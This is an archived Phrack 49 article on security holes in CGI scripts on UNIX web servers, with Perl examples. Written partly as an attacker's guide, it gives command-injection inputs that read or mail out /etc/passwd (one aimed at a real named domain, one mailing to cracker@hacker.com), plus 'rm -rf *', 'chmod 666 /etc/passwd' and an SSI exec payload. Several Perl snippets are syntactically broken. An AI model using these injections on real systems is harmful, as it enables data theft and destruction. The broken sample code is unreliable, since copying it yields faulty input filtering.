home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / articles / cgisec.txt < prev    next >
Text File  |  1998-03-25  |  12KB  |  233 lines

  1.                               == Phrack 49 ==
  2.                       Volume Seven, Issue Forty-Nine
  3.                                File 08 of 16
  4.                    --------------------------------------
  5.  
  6. This article will discuss the Common Gateway Interface, its relationship to
  7. the World Wide Web and the Internet, and will endeavor to point out
  8. vulnerabilities in system security exposed by its use. The UNIX operating
  9. system will be the platform central to this discussion. Programming
  10. techniques will be illustrated by examples using PERL.
  11.  
  12. Introduction
  13.  
  14. The Common Gateway Interface (CGI) is an interface specification that
  15. allows communication between client programs and information servers which
  16. understand the Hyper-Text Transfer Protocol (HTTP). TCP/IP is the
  17. communications protocol used by the CGI script and the server during the
  18. communications. The default port for communications is port 80
  19. (privileged), but other non-privileged ports may be specified.
  20.  
  21. CGI scripts can perform relatively simple processing on the client side. A
  22. CGI script can be used to format Hyper-Text Markup Language (HTML)
  23. documents, dynamically create HTML documents, and dynamically generate
  24. graphical images. CGI can also perform transaction recording using standard
  25. input and standard output. CGI stores information in system environment
  26. variables that can be accessed through the CGI scripts. CGI scripts can
  27. also accept command line arguments. CGI scripts operate in two basic modes:
  28.  
  29.    * In the first mode, the CGI script performs rudimentary data processing
  30.      on the input passed to it. An example of data processing is the
  31.      popular web lint page that checks the syntax of HTML documents.
  32.  
  33.    * The second mode is where the CGI script acts as a conduit for data
  34.      being passed from the client program to the server, and back from the
  35.      server to the client. For example, a CGI script can be used as a front
  36.      end to a database program running on the server.
  37.  
  38. CGI scripts can be written using compiled programming languages,
  39. interpreted programming languages, and scripting languages. The only real
  40. advantage that exists for one type of development tool over the other is
  41. that compiled programs tend to execute more quickly than interpreted
  42. programs. Interpreted languages such as AppleScript, TCL, PERL and UNIX
  43. shell scripts afford the possibility of acquiring and modifying the source
  44. (discussed later), and are generally faster to develop than compiled
  45. programs.
  46.  
  47. The set of common methods available to CGI programs is defined in the HTTP
  48. 1.0 specification. The three methods pertinent to this discussion are the
  49. `Get` method, the `Post` method, and the `Put` method. The `Get` method
  50. retrieves information from the server to the client. The `Post` method asks
  51. the server to accept information passed from the client as input to the
  52. specified target. The `Put` method asks the server to accept information
  53. passed from the client as a replacement for the specified target.
  54.  
  55. Vulnerabilities
  56.  
  57. The vulnerabilities caused by the use of CGI scripts are not weaknesses in
  58. CGI itself, but are weaknesses inherent in the HTTP specification and in
  59. various system programs. CGI simply allows access to those vulnerabilities.
  60. There are other ways to exploit the system security. For example, insecure
  61. file permissions can be exploited using FTP or telnet. CGI simply provides
  62. more opportunities to exploit these and other security flaws.
  63.  
  64. The CGI specification provides opportunities to read files, acquire shell
  65. access, and corrupt file systems on server machines and their attached
  66. hosts. Means of gaining access include: exploiting assumptions of the
  67. script, exploiting weaknesses in the server environment, and exploiting
  68. weaknesses in other programs and system calls. The primary weakness in CGI
  69. scripts is insufficient input validation.
  70.  
  71. According to the HTTP 1.0 specification, data passed to a CGI script must
  72. be encoded so that it can work on any hardware or software platform. Data
  73. passed by a CGI script using the Get method is appended to the end of a
  74. Universal Resource Locator (URL). This data can be accessed by the CGI
  75. script as an environment variable named QUERY_STRING. Data is passed as
  76. tokens of the form variable=value, with the tokens separated by ampersands
  77. (&). Actual ampersands, and other non-alphanumeric characters, must be
  78. escaped, meaning that they are encoded as two-digit hexadecimal values.
  79. Escaped characters are preceded by a percent sign (%) in the encoded URL.
  80. It is the responsibility of the CGI script to escape or remove characters
  81. in user supplied input data. Characters such as '<' and '>', the delimiters
  82. for HTML tags, are usually removed using a simple search and replace
  83. operation, such as the following:
  84.  
  85. # Process input values
  86. {$NAME, $VALUE) = split(/=/, $_);       # split up each variable=value pair
  87. $VALUE =~ s/\+/ /g;                     # Replace '+' with ' '
  88. $VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg;  # Replace %xx characters with ASCII
  89. # Escape metacharacters
  90. $VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g;# remove unwanted special characters
  91. $MYDATA[$NAME} = $VALUE;        # Assign the value to the associative array
  92.  
  93. This example removes special characters such as the semi-colon character,
  94. which is interpreted by the shell as a command separator. Inclusion of a
  95. semi-colon in the input data allows for the possibility of appending an
  96. additional command to the input. Take note of the forward slash characters
  97. that precede the characters being substituted. In PERL, a backslash is
  98. required to tell the interpreter not to process the following character.*
  99.  
  100. The above example is incomplete since it does not address the possibility
  101. of the new line character '%0a', which can be used to execute commands
  102. other than those provided by the script. Therefore it is possible to append
  103. a string to a URL to perform functions outside of the script. For example,
  104. the following URL requests a copy of /etc/passwd from the server machine:
  105.  
  106. http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd
  107.  
  108. The strings '%0a" and '%20' are ASCII line feed and blank respectively.
  109.  
  110. The front end interface to a CGI program is an HTML document called a form.
  111. Forms include the HTML tag <INPUT>. Each <INPUT> tag has a variable name
  112. associated with it. This is the variable name that forms the left hand side
  113. of the previously mentioned variable=value token. The contents of the
  114. variable forms the value portion of the token. Actual CGI scripts may
  115. perform input filtering on the contents of the <INPUT> field. However if
  116. the CGI script does not filter special characters, then a situation
  117. analogous to the above example exists. Interpreted CGI scripts that fail to
  118. validate the <INPUT> data will pass the data directly to the interpreter.
  119. **
  120.  
  121. Another HTML tag sometime seen in forms is the <SELECT> tag. <SELECT> tags
  122. allow the user on the client side to select from a finite set of choices.
  123. The selection becomes the right hand side of the variable=value token
  124. passed to the CGI script. CGI script often fail to validate the input from
  125. a <SELECT> field, assuming that the field will contain only pre-defined
  126. data. Again, this data is passed directly to the interpreter for
  127. interpreted languages. Compiled programs which do not perform input
  128. validation and/or escape special characters may also be vulnerable.
  129.  
  130. A shell script or PERL script that invokes the UNIX mail program may be
  131. vulnerable to a shell escape. Mail accepts commands of the form '~!command'
  132. and forks a shell to execute the command. If the CGI script does not filter
  133. out the '~!' sequence, the system is vulnerable. Sendmail holes can
  134. likewise be exploited in this manner. Again, the key is to find a script
  135. that does not properly filter input characters.
  136.  
  137. If you can find a CGI script that contains a UNIX system() call with only
  138. one argument, then you have found a doorway into the system. When the
  139. system() function is invoked with only one argument, the system forks a
  140. separate shell to handle the request. When this happens, it is possible to
  141. append data to the input and generate unexpected results. For example, a
  142. PERL script containing the following:
  143.  
  144. system("/usr/bin/sendmail -t %s < %s", $mailto_address < $input_file");
  145.  
  146. is designed to mail a copy of $input_file to the mail address specified in
  147. the $mailto_address variable. By calling system() with one argument, the
  148. program causes a separate shell to be forked. By copying and modifying the
  149. input to the form:
  150.  
  151. <INPUT TYPE="HIDDEN" NAME="mailto_address" VALUE="address@server.com;mail
  152. cracker@hacker.com < /etc/passwd">
  153.  
  154. we can exploit this weakness and obtain the password file from the server.
  155. ***
  156.  
  157. The system() function is not the only command that will fork a new shell.
  158. the exec() function with a single argument also provides the same exposure.
  159. Opening a file and piping the result also forks a separate shell. In PERL,
  160. the function:
  161.  
  162. open(FILE, "| program_name $ARGS");
  163.  
  164. will open FILE and pipe the contents to program_name, which will run as a
  165. separate shell.
  166.  
  167. In PERL, the eval command parses and executes whatever argument is passed
  168. to it. CGI scripts that pass arbitrary user input to the eval command can
  169. be used to execute anything the user desires. For example,
  170.  
  171. $_ = $VALUE;
  172. s/"/\\"/g               # Escape double quotes
  173. $RESULT = eval qq/"$_"/;        # evaluate the correctly quoted input
  174.  
  175. would pass the data from $VALUE to eval essentially unchanged, except for
  176. ensuring that the double quote don't confuse the interpreter (how nice of
  177. them). If $VALUE contains "rm -rf *", the results will be disastrous. File
  178. permissions should be examined carefully. CGI scripts that are world
  179. readable can be copied, modified, and replaced. In addition, PERL scripts
  180. that include lines such as the following:
  181.  
  182. require "cgi-lib";
  183.  
  184. are including a library file named cgi-lib. If this file's permissions are
  185. insecure, the script is vulnerable. To check file permissions, the string
  186. '%0a/bin/ls%20-la%20/usr/src/include" could be appended to the URL of a CGI
  187. script using the Get method.
  188.  
  189. Copying, modifying, and replacing the library file will allow users to
  190. execute command or routines inside the library file. Also, if the PERL
  191. interpreter, which usually resides in /usr/bin, runs as SETUID root, it is
  192. possible to modify file permissions by passing a command directly to the
  193. system through the interpreter. The eval command example above would permit
  194. the execution of :
  195.  
  196. $_ = "chmod 666 \/etc\/passwd"
  197. $RESULT = eval qq/"$_"/;
  198.  
  199. which would make the password file world writable.
  200.  
  201. There is a feature supported under some HTTPD servers called Server Side
  202. Includes (SSI). This is a mechanism that allows the server to modify the
  203. outgoing document before sending it to the client browser. SSI is a *huge*
  204. security hole, and most everyone except the most inexperienced sysadmin has
  205. it disabled. However, in the event that you discover a site that enables
  206. SSI,, the syntax of commands is:
  207.  
  208. <!--#command variable="value" -->
  209.  
  210. Both command and 'tag' must be lowercase. If the script source does not
  211. correctly filter input,input such as:
  212.  
  213. <!--#exec cmd="chmod 666 /etc/passwd"-->
  214.  
  215. All SSI commands start with a pound sign (#) followed by a keyword. "exec
  216. cmd" launches a shell that executes a command enclosed in the double
  217. quotes. If this option is turned on, you have enormous flexibility with
  218. what you can do on the target machine.
  219.  
  220. Conclusion
  221.  
  222. The improper use of CGI scripts affords users a number of vulnerabilities
  223. in system security. Failure to validate user input, poorly chosen function
  224. calls, and insufficient file permissions can all be exploited through the
  225. misuse of CGI.
  226.  
  227. *   Adapted from Mudry, R. J., Serving The Web, Coriolis Group Books, p. 192
  228. **  Jennifer Myers, Usenet posting
  229. *** Adapted from Phillips, P., Safe CGI Programming,
  230.  
  231. ---------------------------------------------------------------------------
  232.  
  233.